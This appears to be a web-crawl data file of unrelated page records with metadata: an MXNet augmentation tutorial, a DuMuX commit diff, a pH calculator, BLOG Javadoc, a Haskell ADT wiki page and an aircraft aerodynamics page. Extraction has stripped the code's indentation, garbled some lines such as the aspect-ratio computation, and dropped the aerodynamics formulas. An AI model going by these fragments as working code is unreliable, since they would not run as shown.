2:\n\n## Where is the vertex on a graph?\n\nThe vertex of a parabola is the point where the parabola crosses its axis of symmetry. If the coefficient of the x2 term is positive, the vertex will be the lowest point on the graph, the point at the bottom of the “ U ”-shape.\n\nYou might be interested: Readers ask: What Is The Square Root Of 98?\n\n## Is a square on a graph a function?\n\nThe square of a number is the number multiplied by itself. A square function is a quadratic function. Its parent function is y=x^2 and its graph is a parabola. A square root function is a function with the parent function y=sqrt{x}.",
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] | [
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"data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20110%20110'%3E%3C/svg%3E",
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https://mxnet.apache.org/versions/1.9.1/api/python/docs/tutorials/packages/gluon/data/data_augmentation.html | [
"# Image Augmentation¶\n\nAugmentation is the process of randomly adjusting the dataset samples used for training. As a result, a greater diversity of samples will be seen by the network and it is therefore less likely to overfit the training dataset. Some of the spurious characteristics of the dataset can be reduced using this technique. One example would be a dataset of images from the same camera having the same color tint: it’s unhelpful when you want to apply this model to images from other cameras. You can avoid this by randomly shifting the colours of each image slightly and training your network on these augmented images.\n\nAlthough this technique can be applied in a variety of domains, it’s very common in Computer Vision, and we will focus on image augmentations in this tutorial. Some example image augmentations include random crops and flips, and adjustments to the brightness and contrast.\n\n## What are the prerequisites?¶\n\nYou should be familiar with the concept of a transform and how to apply it to a dataset before reading this tutorial. Check out the Data Transforms tutorial <>__ if this is new to you or you need a quick refresher.\n\n## Where can I find the augmentation transforms?¶\n\nYou can find them in the mxnet.gluon.data.vision.transforms module, alongside the deterministic transforms we’ve seen previously, such as ToTensor, Normalize, CenterCrop and Resize. Augmentations involve an element of randomness and all the augmentation transforms are prefixed with Random, such as RandomResizedCrop and RandomBrightness. We’ll start by importing MXNet and the transforms.\n\nimport matplotlib.pyplot as plt\nimport mxnet as mx\nfrom mxnet.gluon.data.vision import transforms\n\n\n## Sample Image¶\n\nSo that we can see the effects of all the vision augmentations, we’ll take a sample image of a giraffe and apply various augmentations to it. We can see what it looks like to begin with.\n\nimage_url = 'https://raw.githubusercontent.com/dmlc/web-data/master/mxnet/doc/tutorials/data_aug/inputs/0.jpg'\nplt.imshow(example_image.asnumpy())",
null,
"Since these augmentations are random, we’ll apply the same augmentation a few times and plot all of the outputs. We define a few utility functions to help with this.\n\ndef show_images(imgs, num_rows, num_cols, scale=2):\n# show augmented images in a grid layout\naspect_ratio = imgs.shape/imgs.shape\nfigsize = (num_cols * scale, num_rows * scale * aspect_ratio)\n_, axes = plt.subplots(num_rows, num_cols, figsize=figsize)\nfor i in range(num_rows):\nfor j in range(num_cols):\naxes[i][j].imshow(imgs[i * num_cols + j].asnumpy())\naxes[i][j].axes.get_xaxis().set_visible(False)\naxes[i][j].axes.get_yaxis().set_visible(False)\nreturn axes\n\ndef apply(img, aug, num_rows=2, num_cols=4, scale=3):\n# apply augmentation multiple times to obtain different samples\nY = [aug(img) for _ in range(num_rows * num_cols)]\nshow_images(Y, num_rows, num_cols, scale)\n\n\n# Spatial Augmentation¶\n\nOne form of augmentation affects the spatial position of pixel values. Using combinations of slicing, scaling, translating, rotating and flipping the values of the original image can be shifted to create new images. Some operations (like scaling and rotation) require interpolation as pixels in the new image are combinations of pixels in the original image.\n\nMany Computer Visions tasks, such as image classification and object detection, should be robust to changes in the scale and position of objects in the image. You can incorporate this into the network using pooling layers, but an alternative method is to crop random regions of the original image.\n\nAs an example, we randomly (using a uniform distribution) crop a region of the image with:\n\n• an area of 10% to 100% of the original area\n\n• a ratio of width to height between 0.5 and 2\n\nAnd then we resize this cropped region to 200 by 200 pixels.\n\nshape_aug = transforms.RandomResizedCrop(size=(200, 200),\nscale=(0.1, 1),\nratio=(0.5, 2))\napply(example_image, shape_aug)",
null,
"A simple augmentation technique is flipping. Usually flipping horizontally doesn’t change the category of object and results in an image that’s still plausible in the real world. Using RandomFlipLeftRight, we randomly flip the image horizontally 50% of the time.\n\napply(example_image, transforms.RandomFlipLeftRight())",
null,
"Although it’s not as common as flipping left and right, you can flip the image vertically 50% of the time with RandomFlipTopBottom. With our giraffe example, we end up with less plausible samples that horizontal flipping, with the ground above the sky in some cases.\n\napply(example_image, transforms.RandomFlipTopBottom())",
null,
"# Color Augmentation¶\n\nUsually, exact coloring doesn’t play a significant role in the classification or detection of objects, so augmenting the colors of images is a good technique to make the network invariant to color shifts. Color properties that can be changed include brightness, contrast, saturation and hue.\n\nUse RandomBrightness to add a random brightness jitter to images. Use the brightness parameter to control the amount of jitter in brightness, with value from 0 (no change) to 1 (potentially large change). brightness doesn’t specify whether the brightness of the augmented image will be lighter or darker, just the potential strength of the effect. Specifically the augmentation is given by:\n\nalpha = 1.0 + random.uniform(-brightness, brightness)\nimage *= alpha\n\n\nSo by setting this to 0.5 we randomly change the brightness of the image to a value between 50% ($$1-0.5$$) and 150% ($$1+0.5$$) of the original image.\n\napply(example_image, transforms.RandomBrightness(0.5))",
null,
"Use RandomContrast to add a random contrast jitter to an image. Contrast can be thought of as the degree to which light and dark colors in the image differ. Use the contrast parameter to control the amount of jitter in contrast, with value from 0 (no change) to 1 (potentially large change). contrast doesn’t specify whether the contrast of the augmented image will be higher or lower, just the potential strength of the effect. Specifically, the augmentation is given by:\n\ncoef = nd.array([[[0.299, 0.587, 0.114]]])\nalpha = 1.0 + random.uniform(-contrast, contrast)\ngray = image * coef\ngray = (3.0 * (1.0 - alpha) / gray.size) * nd.sum(gray)\nimage *= alpha\nimage += gray\n\napply(example_image, transforms.RandomContrast(0.5))",
null,
"Use RandomSaturation to add a random saturation jitter to an image. Saturation can be thought of as the ‘amount’ of color in an image. Use the saturation parameter to control the amount of jitter in saturation, with value from 0 (no change) to 1 (potentially large change). saturation doesn’t specify whether the saturation of the augmented image will be higher or lower, just the potential strength of the effect. Specifically the augmentation is using the method detailed here.\n\napply(example_image, transforms.RandomSaturation(0.5))",
null,
"Use RandomHue to add a random hue jitter to images. Hue can be thought of as the ‘shade’ of the colors in an image. Use the hue parameter to control the amount of jitter in hue, with value from 0 (no change) to 1 (potentially large change). hue doesn’t specify whether the hue of the augmented image will be shifted one way or the other, just the potential strength of the effect. Specifically the augmentation is using the method detailed here.\n\napply(example_image, transforms.RandomHue(0.5))",
null,
"RandomColorJitter is a convenience transform that can be used to perform multiple color augmentations at once. You can set the brightness, contrast, saturation and hue jitters, that function the same as above for their individual transforms.\n\ncolor_aug = transforms.RandomColorJitter(brightness=0.5,\ncontrast=0.5,\nsaturation=0.5,\nhue=0.5)\napply(example_image, color_aug)",
null,
"Use RandomLighting for an AlexNet-style PCA-based noise augmentation.\n\napply(example_image, transforms.RandomLighting(alpha=1))",
null,
"# Composed Augmentations¶\n\nIn practice, we apply multiple augmentation techniques to an image to increase the variety of images in the dataset. Using the Compose transform that was introduced in the Data Transforms tutorial <>__, we can apply 3 of the transforms we previously used above.\n\naugs = transforms.Compose([\ntransforms.RandomFlipLeftRight(), color_aug, shape_aug])\napply(example_image, augs)",
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https://git.iws.uni-stuttgart.de/dumux-repositories/dumux/-/commit/3dcb428a749dc7084bbf9c29384b0d2152fb29de?view=parallel | [
"### Merge branch 'cleanup/remove-matrixHeatFlux-from-2pnc' into 'next'\n\n```[2pnc][test] Clean-up spatialParams\n\n* Remove deprecated, energy-related functions\n* Test is isothermal anyway\n\n(cherry picked from commit 182a63f2)\n\nSee merge request !257```\nparents 2120b97b 7b822568\n ... @@ -117,9 +117,6 @@ public: ... @@ -117,9 +117,6 @@ public: // porosities // porosities porosity_ = 0.2; porosity_ = 0.2; //thermalconductivity lambdaSolid_ = 14.7; //[W/(m*K)] Acosta et al. // residual saturations // residual saturations materialParams_.setSwr(0.12); //here water, see philtophoblaw materialParams_.setSwr(0.12); //here water, see philtophoblaw materialParams_.setSnr(0.0); materialParams_.setSnr(0.0); ... @@ -175,85 +172,11 @@ public: ... @@ -175,85 +172,11 @@ public: return materialParams_; return materialParams_; } } /*! * \\brief Returns the heat capacity \\f\\$[J/m^3 K]\\f\\$ of the rock matrix. * * This is only required for non-isothermal models. * * \\param element The finite element * \\param fvGeometry The finite volume geometry * \\param scvIdx The local index of the sub-control volume where * the heat capacity needs to be defined */ Scalar heatCapacity(const Element &element, const SubControlVolume& scv) const { return 790 // specific heat capacity of granite [J / (kg K)] * 2700 // density of granite [kg/m^3] * (1 - porosity(scv)); } // /*! // * \\brief Calculate the heat flux \\f\\$[W/m^2]\\f\\$ through the // * rock matrix based on the temperature gradient \\f\\$[K / m]\\f\\$ // * // * This is only required for non-isothermal models. // * // * \\param heatFlux The resulting heat flux vector // * \\param fluxVars The flux variables // * \\param elemVolVars The volume variables // * \\param tempGrad The temperature gradient // * \\param element The current finite element // * \\param fvGeometry The finite volume geometry of the current element // * \\param faceIdx The local index of the sub-control volume face where // * the matrix heat flux should be calculated // */ // void matrixHeatFlux(DimVector &heatFlux, // const FluxVariables &fluxVars, // const ElementVolumeVariables &elemVolVars, // const DimVector &tempGrad, // const Element &element, // const FVElementGeometry &fvGeometry, // const int faceIdx) const // { // static const Scalar lWater = 0.6; // static const Scalar lGranite = 2.8; // // arithmetic mean of the liquid saturation and the porosity // const int i = fvGeometry.subContVolFace[faceIdx].i; // const int j = fvGeometry.subContVolFace[faceIdx].j; // Scalar sW = std::max(0.0, (elemVolVars[i].saturation(wPhaseIdx) + // elemVolVars[j].saturation(wPhaseIdx)) / 2); // Scalar poro = (porosity(element, fvGeometry, i) + // porosity(element, fvGeometry, j)) / 2; // Scalar lsat = pow(lGranite, (1-poro)) * pow(lWater, poro); // Scalar ldry = pow(lGranite, (1-poro)); // // the heat conductivity of the matrix. in general this is a // // tensorial value, but we assume isotropic heat conductivity. // Scalar heatCond = ldry + sqrt(sW) * (ldry - lsat); // // the matrix heat flux is the negative temperature gradient // // times the heat conductivity. // heatFlux = tempGrad; // heatFlux *= -heatCond; // } Scalar thermalConductivitySolid(const Element &element, const SubControlVolume& scv) const { return lambdaSolid_; } private: private: DimMatrix K_; DimMatrix K_; Scalar porosity_; Scalar porosity_; Scalar eps_; Scalar eps_; MaterialLawParams materialParams_; MaterialLawParams materialParams_; Scalar lambdaSolid_; }; }; }//end namespace }//end namespace ... ...\nSupports Markdown\n0% or .\nYou are about to add 0 people to the discussion. Proceed with caution.\nFinish editing this message first!\nPlease register or to comment"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.72113067,"math_prob":0.9818455,"size":287,"snap":"2022-40-2023-06","text_gpt3_token_len":73,"char_repetition_ratio":0.021201413,"word_repetition_ratio":0.0,"special_character_ratio":0.22996515,"punctuation_ratio":0.046511628,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9863534,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-10-07T18:53:38Z\",\"WARC-Record-ID\":\"<urn:uuid:4d35c1e5-6c94-495a-8ed8-02b33c3fa462>\",\"Content-Length\":\"272331\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9950ee9e-5dd9-40c7-919b-103bc21a6431>\",\"WARC-Concurrent-To\":\"<urn:uuid:cda15aac-5144-45ae-a9f4-5cbcd29a54ed>\",\"WARC-IP-Address\":\"129.69.98.181\",\"WARC-Target-URI\":\"https://git.iws.uni-stuttgart.de/dumux-repositories/dumux/-/commit/3dcb428a749dc7084bbf9c29384b0d2152fb29de?view=parallel\",\"WARC-Payload-Digest\":\"sha1:GWYEC4BXYVIFJWJIJBT3GBZDVKECRLUL\",\"WARC-Block-Digest\":\"sha1:WR4SUVXUILYYBMNBJL7BNROFAIKWXPFL\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030338244.64_warc_CC-MAIN-20221007175237-20221007205237-00272.warc.gz\"}"} |
https://rechneronline.de/log-scale/ph-value.php | [
"Anzeige\n\nLogarithmic Scales | Decibel | Earthquake | pH-Value | Brightness (mag) | Octave | Power of Two | Power of e | Power of Three | Power of Ten | Exponentiation\n\n# Compare pH-Values\n\nCalculator for the comparison of two pH-values of acids and bases. The pH-value tells, how acidic or alkaline an aqueous solution is. With a value of 7, it is neutral, that is e.g. the value for pure water. Here, the amount of H3O+ ions is equal to the amount of HO ions. For smaller values, the solution is acidic (more H3O+), for higher values (more HO) it is alkaline. A change of 1 relates to ten times the strength, an acid with the pH-value of 6 is 10 times more acidic as water, a base with the pH-value of 8 is 10 times more alkaline.\nPlease enter two values, but not two ratios.\n\n First value (a): Second value (b): Ratio strength of acid a to b: Ratio strength of base a to b:\n\nRound to decimal places.\n\nExample: a hydrochloric acid with 32 percent has a pH-value of -1, orange juice of about 3.5. So the hydrochloric acid is more than thirty thousand times as acidic.\n\nCalculate ratios of logarithmic scales © Jumk.de Webprojects | Online Calculators | Imprint & Privacy\n\nGerman: Logarithmische Skalen | Dezibel | Erdbeben | pH-Wert | Helligkeit (mag) | Oktave | Zweierpotenz | e-Potenz | Dreierpotenz | Zehnerpotenz | Potenzen\n\nAnzeige"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7698164,"math_prob":0.9913869,"size":1188,"snap":"2023-40-2023-50","text_gpt3_token_len":327,"char_repetition_ratio":0.122466214,"word_repetition_ratio":0.0,"special_character_ratio":0.2516835,"punctuation_ratio":0.11013216,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99034923,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-10-03T18:09:48Z\",\"WARC-Record-ID\":\"<urn:uuid:b10bfb75-da3d-473e-88ad-d6eeb9296d8c>\",\"Content-Length\":\"7121\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:40d0272d-6267-4136-b5fa-e9270c9036ba>\",\"WARC-Concurrent-To\":\"<urn:uuid:cff88be9-f1c6-4fc5-86e5-e7e91ee13d79>\",\"WARC-IP-Address\":\"92.204.58.21\",\"WARC-Target-URI\":\"https://rechneronline.de/log-scale/ph-value.php\",\"WARC-Payload-Digest\":\"sha1:R4ITGSZ4VWGE6ZJPVC33KWOT6NUXS6TR\",\"WARC-Block-Digest\":\"sha1:FQX2BWESYM65OHAFZ5XZMDRAINPRHWBZ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233511170.92_warc_CC-MAIN-20231003160453-20231003190453-00106.warc.gz\"}"} |
https://people.csail.mit.edu/milch/blog/apidocs/blog/NegFormula.html | [
"## blog Class NegFormula\n\n```java.lang.Object",
null,
"blog.ArgSpec",
null,
"blog.Formula",
null,
"blog.NegFormula\n```\n\n`public class NegFormulaextends Formula`\n\nRepresents a logical negation of an expression of type Formula.\n\n`Formula`\n\nField Summary\n\nFields inherited from class blog.Formula\n`ALL_OBJECTS, NOT_EXPLICIT`\n\nFields inherited from class blog.ArgSpec\n`location`\n\nConstructor Summary\n`NegFormula(Formula neg)`\n\nMethod Summary\n` boolean` ```checkTypesAndScope(Model model, java.util.Map scope)```\nReturns true if, within the given scope, all the variables used in this ArgSpec are in scope and all type constraints are satisfied.\n` boolean` `equals(java.lang.Object o)`\nTwo NegFormulas are equal if they have the same subformula.\n` java.lang.Object` `evaluate(EvalContext context)`\nReturns the value of this argument specification in the given context.\n`protected Formula` `getEquivToNegationInternal()`\nA formula equivalent to the negation of !psi is psi itself.\n` Formula` `getNeg()`\n\n` java.util.Set` ```getNonSatisfiersIfExplicit(EvalContext context, LogicalVar subject, GenericObject genericObj)```\nReturns the set of values for the logical variable `subject` that are consistent with the generating function values of `genericObj` and that make this formula false in the given context, if this set can be determined without enumerating possible values for `subject`.\n` ConjFormula` `getPropCNF()`\nIf this is a literal, then its CNF form is just a conjunction consisting of one disjunction, whose sole disjunct is this formula.\n` DisjFormula` `getPropDNF()`\nIf this is a literal, then its DNF form is just a disjunction consisting of one conjunction, whose sole conjunct is this formula.\n` java.util.Set` ```getSatisfiersIfExplicit(EvalContext context, LogicalVar subject, GenericObject genericObj)```\nReturns the set of values for the logical variable `subject` that are consistent with the generating function values of `genericObj` and that make this formula true in the given context, if this set can be determined without enumerating possible values for `subject`.\n` Formula` `getStandardForm()`\nThe standard form of a negation formula !psi is determined as follows.\n` java.util.List` `getSubformulas()`\nReturns the proper subformulas of this formula.\n` ArgSpec` ```getSubstResult(Substitution subst, java.util.Set<LogicalVar> boundVars)```\nReturns the result of applying the substitution `subst` to this expression, excluding the logical variables in `boundVars`.\n` int` `hashCode()`\n\n` boolean` `isLiteral()`\nReturns true if the negated formula is an atomic formula or an equality formula.\n` java.lang.String` `toString()`\nReturns a string of the form !psi where psi is the negated formula.\n\nMethods inherited from class blog.Formula\n`compile, containsAnyTerm, containsRandomSymbol, containsTerm, getEquivToNegation, getGenFuncsApplied, getSubExprs, getTopLevelTerms, isElementary, isQuantified, isTrue`\n\nMethods inherited from class blog.ArgSpec\n`evaluate, evaluate, getFreeVars, getLocation, getSubstResult, getValueIfNonRandom, getVariable, isDetermined, isNumeric, setLocation`\n\nMethods inherited from class java.lang.Object\n`clone, finalize, getClass, notify, notifyAll, wait, wait, wait`\n\nConstructor Detail\n\n### NegFormula\n\n`public NegFormula(Formula neg)`\nMethod Detail\n\n### getNeg\n\n`public Formula getNeg()`\n\n### evaluate\n\n`public java.lang.Object evaluate(EvalContext context)`\nDescription copied from class: `ArgSpec`\nReturns the value of this argument specification in the given context. Returns null if the partial world in this context is not complete enough to evaluate this ArgSpec, or if this ArgSpec contains a free variable that is not assigned a value in the given context.\n\nSpecified by:\n`evaluate` in class `ArgSpec`\n\n### getStandardForm\n\n`public Formula getStandardForm()`\nThe standard form of a negation formula !psi is determined as follows. If there is a formula equivalent to !psi that is not a negation formula, we return the standard form of that formula. Otherwise, we just return !psi', where psi' is the standard form of psi.\n\nOverrides:\n`getStandardForm` in class `Formula`\n\n### getEquivToNegationInternal\n\n`protected Formula getEquivToNegationInternal()`\nA formula equivalent to the negation of !psi is psi itself.\n\nOverrides:\n`getEquivToNegationInternal` in class `Formula`\n\n### getSubformulas\n\n`public java.util.List getSubformulas()`\nDescription copied from class: `Formula`\nReturns the proper subformulas of this formula. The default implementation returns an empty list.\n\nOverrides:\n`getSubformulas` in class `Formula`\nReturns:\nunmodifiable List of Formula objects\n\n### getPropCNF\n\n`public ConjFormula getPropCNF()`\nIf this is a literal, then its CNF form is just a conjunction consisting of one disjunction, whose sole disjunct is this formula. Otherwise, its CNF form is the CNF form of the equivalent formula that is not a NegFormula.\n\nOverrides:\n`getPropCNF` in class `Formula`\n\n### getPropDNF\n\n`public DisjFormula getPropDNF()`\nIf this is a literal, then its DNF form is just a disjunction consisting of one conjunction, whose sole conjunct is this formula. Otherwise, its DNF form is the DNF form of the equivalent formula that is not a NegFormula.\n\nOverrides:\n`getPropDNF` in class `Formula`\n\n### isLiteral\n\n`public boolean isLiteral()`\nReturns true if the negated formula is an atomic formula or an equality formula.\n\nOverrides:\n`isLiteral` in class `Formula`\n\n### getSatisfiersIfExplicit\n\n```public java.util.Set getSatisfiersIfExplicit(EvalContext context,\nLogicalVar subject,\nGenericObject genericObj)```\nDescription copied from class: `Formula`\nReturns the set of values for the logical variable `subject` that are consistent with the generating function values of `genericObj` and that make this formula true in the given context, if this set can be determined without enumerating possible values for `subject`. Returns the special value Formula.NOT_EXPLICIT if determining the desired set would requiring enumerating possible values for `subject`. Also, returns the special value Formula.ALL_OBJECTS if this formula is true in the given context for all objects consistent with `genericObj`. Finally, returns null if it tries to access an uninstantiated random variable.\n\nSpecified by:\n`getSatisfiersIfExplicit` in class `Formula`\nParameters:\n`context` - an evaluation context that does not assign a value to the logical variable `subject`\n`subject` - a logical variable\n`genericObj` - a GenericObject instance, which can stand for any object of a given type or include values for certain generating functions\n\n### getNonSatisfiersIfExplicit\n\n```public java.util.Set getNonSatisfiersIfExplicit(EvalContext context,\nLogicalVar subject,\nGenericObject genericObj)```\nDescription copied from class: `Formula`\nReturns the set of values for the logical variable `subject` that are consistent with the generating function values of `genericObj` and that make this formula false in the given context, if this set can be determined without enumerating possible values for `subject`. Returns the special value Formula.NOT_EXPLICIT if determining the desired set would requiring enumerating possible values for `subject`. Also, returns the special value Formula.ALL_OBJECTS if this formula is false in the given context for all objects consistent with `genericObj`. Finally, returns null if it tries to access an uninstantiated random variable.\n\nThis default implementation calls `getEquivToNegation`, then calls `getSatisfiersIfExplicit` on the resulting formula. Warning: subclasses must override either this method or `getEquivToNegationInternal` to avoid an UnsupportedOperationException.\n\nOverrides:\n`getNonSatisfiersIfExplicit` in class `Formula`\nParameters:\n`context` - an evaluation context that does not assign a value to the logical variable `subject`\n`subject` - a logical variable\n`genericObj` - a GenericObject instance, which can stand for any object of a given type or include values for certain generating functions\n\n### equals\n\n`public boolean equals(java.lang.Object o)`\nTwo NegFormulas are equal if they have the same subformula.\n\nOverrides:\n`equals` in class `java.lang.Object`\n\n### hashCode\n\n`public int hashCode()`\nOverrides:\n`hashCode` in class `java.lang.Object`\n\n### toString\n\n`public java.lang.String toString()`\nReturns a string of the form !psi where psi is the negated formula.\n\nOverrides:\n`toString` in class `java.lang.Object`\n\n### checkTypesAndScope\n\n```public boolean checkTypesAndScope(Model model,\njava.util.Map scope)```\nDescription copied from class: `ArgSpec`\nReturns true if, within the given scope, all the variables used in this ArgSpec are in scope and all type constraints are satisfied. If there is a type or scope error, prints an appropriate message to standard error and returns false.\n\nSpecified by:\n`checkTypesAndScope` in class `ArgSpec`\n`scope` - a Map from variable names (Strings) to LogicalVar objects\n\n### getSubstResult\n\n```public ArgSpec getSubstResult(Substitution subst,\njava.util.Set<LogicalVar> boundVars)```\nDescription copied from class: `ArgSpec`\nReturns the result of applying the substitution `subst` to this expression, excluding the logical variables in `boundVars`. This method is used for recursive calls. The set `boundVars` should contain those variables that are bound in the syntax tree between this sub-expression and the top-level expression to which the substitution is being applied.\n\nSpecified by:\n`getSubstResult` in class `ArgSpec`"
] | [
null,
"https://people.csail.mit.edu/milch/blog/apidocs/resources/inherit.gif",
null,
"https://people.csail.mit.edu/milch/blog/apidocs/resources/inherit.gif",
null,
"https://people.csail.mit.edu/milch/blog/apidocs/resources/inherit.gif",
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http://wiki.haskell.org/index.php?title=Algebraic_data_type&diff=prev&oldid=57341 | [
"# Difference between revisions of \"Algebraic data type\"\n\nThis is a type where we specify the shape of each of the elements. Wikipedia has a thorough discussion. \"Algebraic\" refers to the property that an Algebraic Data Type is created by \"algebraic\" operations. The \"algebra\" here is \"sums\" and \"products\":\n\n• \"sum\" is alternation (`A | B`, meaning `A` or `B` but not both)\n• \"product\" is combination (`A B`, meaning `A` and `B` together)\n\nExamples:\n\n• `data Pair = P Int Double` is a pair of numbers, an `Int` and a `Double` together. The tag `P` is used (in constructors and pattern matching) to combine the contained values into a single structure that can be assigned to a variable.\n• `data Pair = I Int | D Double` is just one number, either an `Int` or else a `Double`. In this case, the tags `I` and `D` are used (in constructors and pattern matching) to distinguish between the two alternatives.\n\nSums and products can be repeatedly combined into an arbitrarily large structures.\n\nAlgebraic Data Type is not to be confused with *Abstract* Data Type, which (ironically) is its opposite, in some sense. The initialism \"ADT\" usually means *Abstract* Data Type, but GADT usually means Generalized *Algebraic* Data Type.\n\n## Tree examples\n\nSuppose we want to represent the following tree:\n\n``` 5\n/ \\\n3 7\n/ \\\n1 4\n```\n\nWe may actually use a variety of Haskell data declarations that will handle this. The choice of algebraic data types determines its structural/shape properties.\n\n### Binary search tree\n\nIn this example, values are stored at each node, with smaller values to the left, greater to the right.\n\n```data Stree a = Tip | Node (Stree a) a (Stree a)\n```\n\nand then our example tree would be:\n\n``` etree = Node (Node (Node Tip 1 Tip) 3 (Node Tip 4 Tip)) 5 (Node Tip 7 Tip)\n```\n\nTo maintain the order, such a tree structure is usually paired with a smart constructor.\n\n### Rose tree\n\nAlternatively, it may be represented in what appears to be a totally different stucture.\n\n```data Rose a = Rose a [Rose a]\n```\n\nIn this case, the example tree would be:\n\n```retree = Rose 5 [Rose 3 [Rose 1 [], Rose 4[]], Rose 7 []]\n```\n\nThe differences between the two are that the (empty) binary search tree `Tip` is not representable as a `Rose` tree, and a Rose tree can have an arbitrary and internally varying branching factor (0,1,2, or more)."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8598761,"math_prob":0.9213663,"size":4325,"snap":"2021-04-2021-17","text_gpt3_token_len":1175,"char_repetition_ratio":0.11640824,"word_repetition_ratio":0.32284543,"special_character_ratio":0.26797688,"punctuation_ratio":0.09627728,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.985172,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-01-23T04:30:11Z\",\"WARC-Record-ID\":\"<urn:uuid:1671fa09-87e6-4d2b-b317-04741b891fc6>\",\"Content-Length\":\"28922\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:7b8a9b05-88a8-4a91-b9ea-d2cd5820fdf6>\",\"WARC-Concurrent-To\":\"<urn:uuid:3875687b-e251-4a9b-8ee3-c58e79966b97>\",\"WARC-IP-Address\":\"151.101.201.175\",\"WARC-Target-URI\":\"http://wiki.haskell.org/index.php?title=Algebraic_data_type&diff=prev&oldid=57341\",\"WARC-Payload-Digest\":\"sha1:UHHL3Y26337QOP4QT7BRGB632KZULIKQ\",\"WARC-Block-Digest\":\"sha1:TNOWKXW4LNAHXVWN735LDAUYNXRMEPQS\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-04/CC-MAIN-2021-04_segments_1610703533863.67_warc_CC-MAIN-20210123032629-20210123062629-00554.warc.gz\"}"} |
https://www.a380-design.com/design-of-an-uhca/aerodynamics/ | [
"# AERODYNAMICS\n\n3.3 AERODYNAMICS\n\nThe aerodynamic values can be estimated very precisely because they differ only by their Reynolds number. To value the aircraft, we need the diagram of the drag polar and the diagram of the lift\n\ncurve slope (CJa) .\n\n3.3.1 The drag polar\n\nThe drag polar is the sum of the resistance factor at zero lift cdq, the coefficient of induced drag CDI and the resistance factor of compressible flow CDM.\n\nCD = CD0 + CDI + CDM\n\nwhere:\n\nCDO = f (Re)\n\nCDI = f(CL) and\n\nCDM = f (Ma, CL) .\n\nThe theoretical zero lift drag is calculated by a method called “Group of Six-T-014J”\n\nThe formula for this calculation is:",
null,
"• The skin friction drag coefficient was taken in the first 5% of the profile laminar. The rest of the aircraft has a turbulent flow.\n• The form and sweep factors were taken for the wing, fuselage and pylons.\n• For parasitic and interference drag, each was taken as 2.8% of the drag at clean flow around the airplane.\n• The program for calculating the flight envelope (POP) adapts the values for different Mach numbers and heights by itself,\n• varying the values of v/n\n\nA detailed calculation of zero drag CDO at v/n= 7.22*106 1/m and the effect of the Reynolds number are in the appendix III.3.1.\n\nThe lift dependent drag CDI is calculated by the following formula from “HFP-R-300-PF2785, HORNER”:",
null,
"The compressible drag is a super-critical drag",
null,
"which\n\nconsists of the wave drag and viscous effects, that follow the onset of transonic flow with local shocks. It is here defined by the locus in Mach number and lift coefficient for",
null,
"=0.002, also called M20. It is calculated with the “AI/TD 820.315/88” program.",
null,
"The values for M20 were taken for the measurement of the A340, considering of the different sweep and the different relative wing thickness. The values for CDM were taken without changes for the higher Mach number. This is possible, if the Mach effects appear at higher Mach numbers.\n\nTo have an impression of the performance, the CL/CD are shown at travelling conditions at a height of 10.7 km.",
null,
"Fig.: 3.3.1 Ref.: HL/GoS\n\n3.3.2 The lift curve slope\n\nThe lift curve slope ( CLa ) is calculated by the classical subsonic theory with a correction for transonic profiles",
null,
"The correction factor relates to the necessary A340 correction factor between calculation and measured figures. A difference of 4% is added, because the wing is designed for a Mach number of 0.85 instead of Ma = 0.82 (see appendix III.3.2).",
null,
""
] | [
null,
"http://www.a380-design.com/wp-content/uploads/2014/07/Zero-draft-1.jpg",
null,
"http://www.a380-design.com/wp-content/uploads/2014/07/Lift-drag-1.jpg",
null,
"http://www.a380-design.com/wp-content/uploads/2014/07/CDm-1.jpg",
null,
"http://www.a380-design.com/wp-content/uploads/2014/07/CDm-1.jpg",
null,
"http://www.a380-design.com/wp-content/uploads/2014/07/CDmach-1.jpg",
null,
"http://www.a380-design.com/wp-content/uploads/2014/07/Fig_3_3_1_Ref_HL_GoS-1.jpg",
null,
"http://www.a380-design.com/wp-content/uploads/2014/07/CL_Formula-1.jpg",
null,
"http://www.a380-design.com/wp-content/uploads/2014/07/Fig_3_3_2_Ref_HL-1.jpg",
null
